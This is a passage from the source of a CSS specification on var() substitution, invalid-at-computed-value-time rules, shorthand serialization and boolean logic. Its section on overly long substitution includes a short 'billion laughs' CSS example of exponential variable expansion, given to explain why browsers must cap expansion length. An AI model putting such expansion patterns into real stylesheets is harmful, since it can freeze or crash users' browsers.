	according to their [=argument grammar=]s,
	the entire value's grammar must be assumed to be valid at parse time.

	<wpt pathprefix="css/css-variables">
	variable-reference-18.html
	variable-reference-19.html
	variable-reference-30.html
	</wpt>

	[=Arbitrary substitution functions=] are [=substituted=]
	during style [=computed value|computation=],
	before any other value transformations or introspection can occur.
	If a property,
	after [=property replacement=],
	does not match its declared grammar,
	the declaration is [=invalid at computed-value time=].

	Note: Since [=arbitrary substitution functions=] resolve at [=computed value=] time,
	if the resulting value after substitution is invalid,
	the property falls back (essentially) to ''unset'' behavior,
	rather than falling back to an earlier value in the [=cascade=]
	the way declarations invalid at parse time do.
	See [[#invalid-substitution]].

	<wpt pathprefix="css/css-variables">
	variable-declaration-16.html
	variable-declaration-17.html
	variable-declaration-18.html
	variable-declaration-19.html
	variable-declaration-21.html
	variable-transitions-transition-property-all-before-value.html
	variable-transitions-value-before-transition-property-all.html
	</wpt>

	If a property value,
	after [=property replacement=],
	contains only a single [=CSS-wide keyword=]
	(and possibly whitespace/comments),
	its value is determined as if that keyword were its [=specified value=] all along.

	<wpt pathprefix="css/css-variables">
	whitespace-in-fallback-crash.html
	wide-keyword-fallback-001.html
	wide-keyword-fallback-002.html
	</wpt>

	<div class='example'>
		For example,
		the following usage is fine from a syntax standpoint,
		but results in nonsense when the variable is substituted in:

		<pre>
		:root { --looks-valid: 20px; }
		p { background-color: var(--looks-valid); }
		</pre>

		Since ''20px'' is an invalid value for 'background-color',
		the property becomes [=invalid at computed-value time=],
		and instead resolves to ''transparent''
		(the [=initial value=] for 'background-color').

		If the property was one that's inherited by default,
		such as 'color!!property',
		it would compute to the inherited value
		rather than the initial value.
	</div>

	<div class='example'>
		While a ''var()'' function can't get a [=CSS-wide keyword=]
		from the [=custom property=] itself--
		if you tried to specify that,
		like ''--foo: initial;'',
		it would just trigger [[css-cascade-4#defaulting-keywords|explicit defaulting]]
		for the custom property--
		it can have a [=CSS-wide keyword=] in its fallback:

		<pre>
		p { color: var(--does-not-exist, initial); }
		</pre>

		In the above code, if the ''--does-not-exist'' property didn't exist
		or is [=invalid at computed-value time=],
		the ''var()'' will instead substitute in the ''initial'' keyword,
		making the property behave as if it was originally ''color: initial''.
		This will make it take on the document's initial 'color' value,
		rather than defaulting to inheritance,
		as it would if there were no fallback.
	</div>

	<div algorithm>
		To <dfn export lt="property replacement|replace substitution functions|replace substitution functions in a property">replace substitution functions in a property</dfn> |prop|:

		1. [=Substitute arbitrary substitution functions=] in |prop|'s value,
			given &bs<<;"property", |prop|'s name&bs>>; as the [=substitution context=].
			Let |result| be the returned [=component value=] sequence.

		2. If |result| contains the [=guaranteed-invalid value=],
			|prop| is [=invalid at computed-value time=];
			return.

		3. [=CSS/Parse=] |result| according to |prop|'s grammar.
			If this returns failure,
			|prop| is [=invalid at computed-value time=];
			return.

		3. Otherwise, replace |prop|'s value with the parsed result.
	</div>

	<wpt pathprefix="css/css-variables">
	css-variable-change-style-001.html
	css-variable-change-style-002.html
	variable-declaration-01.html
	variable-declaration-02.html
	variable-declaration-03.html
	variable-declaration-04.html
	variable-declaration-05.html
	variable-generated-content-dynamic-001.html
	variable-presentation-attribute.html
	variable-reference-01.html
	variable-reference-02.html
	variable-reference-03.html
	variable-reference-04.html
	variable-reference-05.html
	variable-reference-12.html
	variable-reference-16.html
	variable-reference-40.html
	variable-reference-refresh.html
	variable-substitution-background-properties.html
	variable-substitution-basic.html
	variable-substitution-filters.html
	variable-substitution-replaced-size.html
	variable-substitution-shadow-properties.html
	variable-substitution-variable-declaration.html
	</wpt>

	<wpt pathprefix="css/css-variables" title="CSSOM">
	variable-reference-cssom.html
	</wpt>

	<div class=note>
		Note that [=substitution=] takes place at the level of CSS tokens [[css-syntax-3]],
		not at a textual level;
		you can't build up a single token where part of it is provided by a variable:

		<pre>
		.foo {
			--gap: 20;
			margin-top: var(--gap)px;
		}
		</pre>

		This is <em>not</em> equivalent to setting ''margin-top: 20px;'' (a length).
		Instead, it's equivalent to ''margin-top: 20 px;'' (a number followed by an ident),
		which is simply an invalid value for the 'margin-top' property.
		Note, though, that ''calc()'' can be used to validly achieve the same thing, like so:

		<pre>
		.foo {
		  --gap: 20;
		  margin-top: calc(var(--gap) * 1px);
		}
		</pre>

		This also implies that the post-substitution value
		might not be directly serializable as-is.
		Here's a similar example to the preceding:

		<pre>
		.foo {
			--gap: 20;
			--not-px-length: var(--gap)px;
		}
		</pre>

		The serialization of the computed (post-substitution)
		value of ''--not-px-length''
		is <strong>not</strong> ''20px'',
		because that would parse back as the single combined dimension;
		instead, it will serialize with a comment between the two tokens,
		like ''20/**/px'',
		to enforce that they are separate tokens even when re-parsing.
	</div>

	<wpt pathprefix="css/css-variables">
	variable-declaration-14.html
	variable-declaration-53.html
	variable-declaration-54.html
	variable-declaration-55.html
	variable-reference-15.html
	variable-reference-without-whitespace.html
	</wpt>

<!-- Big Text: invalid

████ █    █▌ █▌   █▌  ███▌  █▌    ████ ████▌
 ▐▌  █▌   █▌ █▌   █▌ ▐█ ▐█  █▌     ▐▌  █▌  █▌
 ▐▌  ██▌  █▌ █▌   █▌ █▌  █▌ █▌     ▐▌  █▌  █▌
 ▐▌  █▌▐█ █▌ ▐▌   █  █▌  █▌ █▌     ▐▌  █▌  █▌
 ▐▌  █▌  ██▌  █  ▐▌  █████▌ █▌     ▐▌  █▌  █▌
 ▐▌  █▌   █▌  ▐▌ █   █▌  █▌ █▌     ▐▌  █▌  █▌
████ █▌   ▐▌   ▐█    █▌  █▌ █████ ████ ████▌
-->

<h3 id=invalid-substitution oldids='invalid-variables'>
Invalid Substitution</h3>

	When [=property replacement=] results in a property's value
	containing the [=guaranteed-invalid value=],
	this makes the declaration <dfn export>invalid at computed-value time</dfn>.
	When this happens,
	the computed value is one of the following
	depending on the property's type:

	<dl class="switch">
		:   The property is a non-registered [=custom property=]
		:   The property is a [=registered custom property=]
		    with [=universal syntax definition|universal syntax=]
		::  The computed value is the <a>guaranteed-invalid value</a>.

		:   Otherwise
		::  Either the property's inherited value
		    or its initial value
		    depending on whether the property is inherited or not, respectively,
		    as if the property's value had been specified as the ''unset'' keyword.
	</dl>

	<wpt pathprefix="css/css-variables">
	variables-substitute-guaranteed-invalid.html
	</wpt>

	<div class='example'>
		For example, in the following code:

		<pre>
		:root { --not-a-color: 20px; }
		p { background-color: red; }
		p { background-color: var(--not-a-color); }
		</pre>

		the &lt;p> elements will have transparent backgrounds
		(the initial value for 'background-color'),
		rather than red backgrounds.
		The same would happen if the <a>custom property</a> itself was unset,
		or contained an invalid ''var()'' function.

		Note the difference between this
		and what happens if the author had just written ''background-color: 20px'' directly in their stylesheet -
		that would be a normal syntax error,
		which would cause the rule to be discarded,
		so the ''background-color: red'' rule would be used instead.
	</div>

	Note: The <a>invalid at computed-value time</a> concept exists
	because [=arbitrary substitution functions=] can't "fail early" like other syntax errors can,
	so by the time the user agent realizes a property value is invalid,
	it's already thrown away the other cascaded values.


<!-- Big Text: shorthand

 ███▌  █▌  █▌  ███▌  ████▌  █████▌ █▌  █▌  ███▌  █    █▌ ████▌
█▌  █▌ █▌  █▌ █▌  █▌ █▌  █▌   █▌   █▌  █▌ ▐█ ▐█  █▌   █▌ █▌  █▌
█▌     █▌  █▌ █▌  █▌ █▌  █▌   █▌   █▌  █▌ █▌  █▌ ██▌  █▌ █▌  █▌
 ███▌  █████▌ █▌  █▌ ████▌    █▌   █████▌ █▌  █▌ █▌▐█ █▌ █▌  █▌
    █▌ █▌  █▌ █▌  █▌ █▌▐█     █▌   █▌  █▌ █████▌ █▌  ██▌ █▌  █▌
█▌  █▌ █▌  █▌ █▌  █▌ █▌ ▐█    █▌   █▌  █▌ █▌  █▌ █▌   █▌ █▌  █▌
 ███▌  █▌  █▌  ███▌  █▌  █▌   █▌   █▌  █▌ █▌  █▌ █▌   ▐▌ ████▌
-->

<h3 id=substitution-in-shorthands oldids=variables-in-shorthands>
Substitution in Shorthand Properties</h3>

	[=Arbitrary substitution functions=] produce some complications
	when parsing [=shorthand properties=] into their component longhands,
	and when serializing [=shorthand properties=] <em>from</em> their component longhands.

	If a [=shorthand property=] contains an [=arbitrary substitution function=] in its value,
	the [=longhand properties=] it's associated with must instead be filled in
	with a special, unobservable-to-authors <dfn export>pending-substitution value</dfn>
	that indicates the shorthand contains an [=arbitrary substitution function=],
	and thus the longhand's value can't be determined until after [=substituted=].

	This value must then be cascaded as normal,
	and at computed-value time,
	after [=substitution=],
	the shorthand must be parsed
	and the longhands must be given their appropriate values at that point.

	<wpt pathprefix="css/css-variables">
	variable-reference-36.html
	variable-reference-37.html
	variable-reference-38.html
	variable-substitution-shorthands.html
	vars-background-shorthand-001.html
	vars-font-shorthand-001.html
	</wpt>

	Note: When a shorthand is written without an [=arbitrary substitution function=],
	it is parsed and separated out into its component [=longhand properties=] at parse time;
	the longhands then participate in the [=cascade=],
	with the [=shorthand property=] more or less discarded.
	When the shorthand contains a ''var()'', however,
	this can't be done,
	as the ''var()'' could be substituted with anything.

	[=Pending-substitution values=] must be serialized as the empty string,
	if an API allows them to be observed.

	<wpt pathprefix="css/css-variables">
	variable-definition-border-shorthand-serialize.html
	vars-border-shorthand-serialize.html
	</wpt>

	----

	[=Shorthand properties=] are serialized
	by gathering the values of their component [=longhand properties=],
	and synthesizing a value
	that will parse into the same set of values.

	If all of the component [=longhand properties=] for a given [=shorthand=]
	are [=pending-substitution values=]
	from the same original shorthand value,
	the [=shorthand property=] must serialize to that original
	([=arbitrary substitution function=]-containing)
	value.

	Otherwise,
	if any of the component [=longhand properties=] for a given [=shorthand=]
	are [=pending-substitution values=],
	or contain [=arbitrary substitution functions=] of their own that have not yet been [=substituted=],
	the [=shorthand property=] must serialize to the empty string.

<!-- Big Text: too long

█████▌  ███▌   ███▌      █▌     ███▌  █    █▌  ███▌
  █▌   █▌  █▌ █▌  █▌     █▌    █▌  █▌ █▌   █▌ █▌  █▌
  █▌   █▌  █▌ █▌  █▌     █▌    █▌  █▌ ██▌  █▌ █▌
  █▌   █▌  █▌ █▌  █▌     █▌    █▌  █▌ █▌▐█ █▌ █▌ ██▌
  █▌   █▌  █▌ █▌  █▌     █▌    █▌  █▌ █▌  ██▌ █▌  █▌
  █▌   █▌  █▌ █▌  █▌     █▌    █▌  █▌ █▌   █▌ █▌  █▌
  █▌    ███▌   ███▌      █████  ███▌  █▌   ▐▌  ███▌
-->

<h3 id=long-substitution oldids=long-variables>
Safely Handling Overly-Long Substitution</h3>

	Naively implemented,
	some [=arbitrary substitution functions=]
	(such as ''var()'')
	can be used in a variation of the "billion laughs attack":

	<div class=example>
		<pre lang=css>
		.foo {
			--prop1: lol;
			--prop2: var(--prop1) var(--prop1);
			--prop3: var(--prop2) var(--prop2);
			--prop4: var(--prop3) var(--prop3);
			/* etc */
		}
		</pre>

		In this short example, ''--prop4''’s computed value is ''lol lol lol lol lol lol lol lol'',
		containing 8 copies of the original ''lol''.
		Every additional level added to this doubles the number of identifiers;
		extending it to a mere 30 levels,
		the work of a few minutes by hand,
		would make ''--prop30'' contain <em>nearly a billion instances</em> of the identifier.
	</div>

	To avoid this sort of attack,
	UAs must impose a UA-defined limit on the allowed length of the token stream
	that an [=arbitrary substitution function=] expands into.
	If an [=arbitrary substitution function=] would expand into a longer token stream than this limit,
	it instead is replaced with the [=guaranteed-invalid value=].

	<wpt pathprefix="css/css-variables">
	long-variable-reference-crash.html
	variable-exponential-blowup.html
	</wpt>

	This specification does not define what size limit should be imposed.
	However, since there are valid use-cases for custom properties that contain a kilobyte or more of text,
	it's recommended that the limit be set relatively high.

	Note: The general principle that UAs are allowed to violate standards due to resource constraints
	is still generally true here;
	a UA might, separately, have limits on how long of a custom property they can support,
	or how large of an identifier they can support.
	This section calls out this attack specifically
	because of its long history,
	and the fact that it can be done without any of the pieces
	<em>seeming</em> to be too large on first inspection.

<h2 id="boolean-logic">
Appendix B: Boolean Logic</h2>

	In order to accommodate future extensions of CSS,
	<<boolean-expr[]>> productions generally interpret their <<general-enclosed>> grammar branch as unknown,
	and their boolean logic is resolved using 3-value Kleene logic.
	In some cases (such as ''@supports''),
	<<general-enclosed>> is instead defined as false;
	in which case the logic devolves to standard boolean algebra.

	3-value boolean logic is applied recursively
	to a boolean condition |test| as follows:

	* A leaf-level |test| resolves to
		true, false, or unknown,
		as defined by the relevant specification.

	* ''not |test|'' evaluates to
		true if its contained |test| is false,
		false if it's true,
		and unknown if it's unknown.

	* Multiple |test|s connected with ''and'' evaluate to
		true if <em>all</em> of those |test|s are true,
		false if <em>any</em> of them are false,
		and unknown otherwise (i.e. if at least one unknown, but no false).

	* Multiple |test|s connected with ''or'' evaluate to
		true if <em>any</em> of those |test|s are true,
		false if <em>all</em> of them are false,
		and unknown otherwise (i.e. at least one unknown, but no true).

	If a “top-level” <<boolean-expr[]>> is unknown,
	and the containing context doesn't otherwise define
	how to handle unknown conditions,
	it evaluates to false.

	Note: That is, unknown doesn't “escape” a 3-value boolean expression
	unless explicitly handled,
	similar to how <code>NaN</code> doesn't “escape” a [=top-level calculation=]).


<!-- Big Text: etc

█████▌ █████▌  ███▌
█▌       █▌   █▌  █▌
█▌       █▌   █▌
████     █▌   █▌
█▌       █▌   █▌
█▌       █▌   █▌  █▌
█████▌   █▌    ███▌
-->


<h2 class="no-num" id="acknowledgments">
Acknowledgments</h2>

	Firstly, the editors would like to thank
	all of the contributors to the <a href="https://www.w3.org/TR/css-values-4/#acknowledgments">previous level</a>
	of this module.

	Secondly, we would like to acknowledge
	Guillaume Lebas,
	L. David Baron,
	Mike Bremford,
	Sebastian Zartner,
	and <a href="https://github.com/w3c/csswg-drafts/issues/6245">especially Scott Kellum</a>
	for their ideas, comments, and suggestions for Level 5;

<h2 class="no-num" id="changes">
Changes</h2>

<h3 class=no-num id="changes-recent">
Recent Changes</h3>

	Changes since the <a href="https://www.w3.org/TR/2024/WD-css-values-5-20241111/">11 November 2024 Working Draft</a>:
	* Dropped ''media-progess()'' and ''container-progress()'' in favor of using relevant units in ''progress()''.
		(<a href="https://github.com/w3c/csswg-drafts/issues/11826">Issue 11826</a>)

	See also <a href="https://www.w3.org/TR/2024/WD-css-values-5-20241111/#changes">earlier changes</a>.

<h3 class=no-num id="additions-L4">
Additions Since Level 4</h3>

	Additions since <a href="http://www.w3.org/TR/css-values-4/">CSS Values and Units Level 4</a>:

	* Added the “comma-wrapping” ''{}'' notation for function arguments.
	* Defined several <<url-modifier>>s for <<url>> functions.
	* Extended <<position>> to handle [=flow-relative=] positions.
		(<a href="https://github.com/w3c/csswg-drafts/issues/549#issuecomment-1823607623">Issue 549</a>)
	* Added the [[#progress|*-progress()]] family of functions, to represent interpolation progress between two values.
	* Added the [[#mixing|*-mix()]] family of functions, to represent actually interpolating between two values.
	* Added ''first-valid()'', to allow CSS's forward-compatible parsing behavior (drop invalid things, go with what's left) to be used with custom properties and other contexts where validity isn't known until <em>after</em> parsing.
	* Added ''if()'' for inline conditionals.
	* Added ''inherit()''.
	* Added the ''toggle()'' and ''attr()'' functions.
	* Added the ''random()'' and ''random-item()'' functions.
	* Added the ''sibling-count()'' and ''sibling-index()'' functions.
	* Added the ''calc-size()'' function, and the related 'interpolate-size' property.
	* Added the <<boolean-expr[]>> syntax notation to the [=value definition syntax=].


<h2 class="no-num" id="security">
Security Considerations</h2>

	This specification allows CSS <<url>> values to have various aspects of their request modified.
	Although this is new to CSS,
	every ability is already present in <{img}> or <{link}>, as well as via JavaScript.

	The ''attr()'' function allows HTML attribute values
	to be used in CSS values,
	potentially exposing sensitive information
	that was previously not accessible via CSS.
	See [[#attr-security]].

<h2 class="no-num" id="privacy">
Privacy Considerations</h2>

	This specification defines units that expose the user's screen size
	and default font size,
	but both are trivially observable from JS,
	so they do not constitute a new privacy risk.
	Similarly the ''media-progress()'' notation exposes
	information about the user's environment and preferences
	that are already observiable via [=media queries=].

	The ''attr()'' function allows HTML attribute values
	to be used in CSS values,
	potentially exposing sensitive information
	that was previously not accessible via CSS.
	See [[#attr-security]].
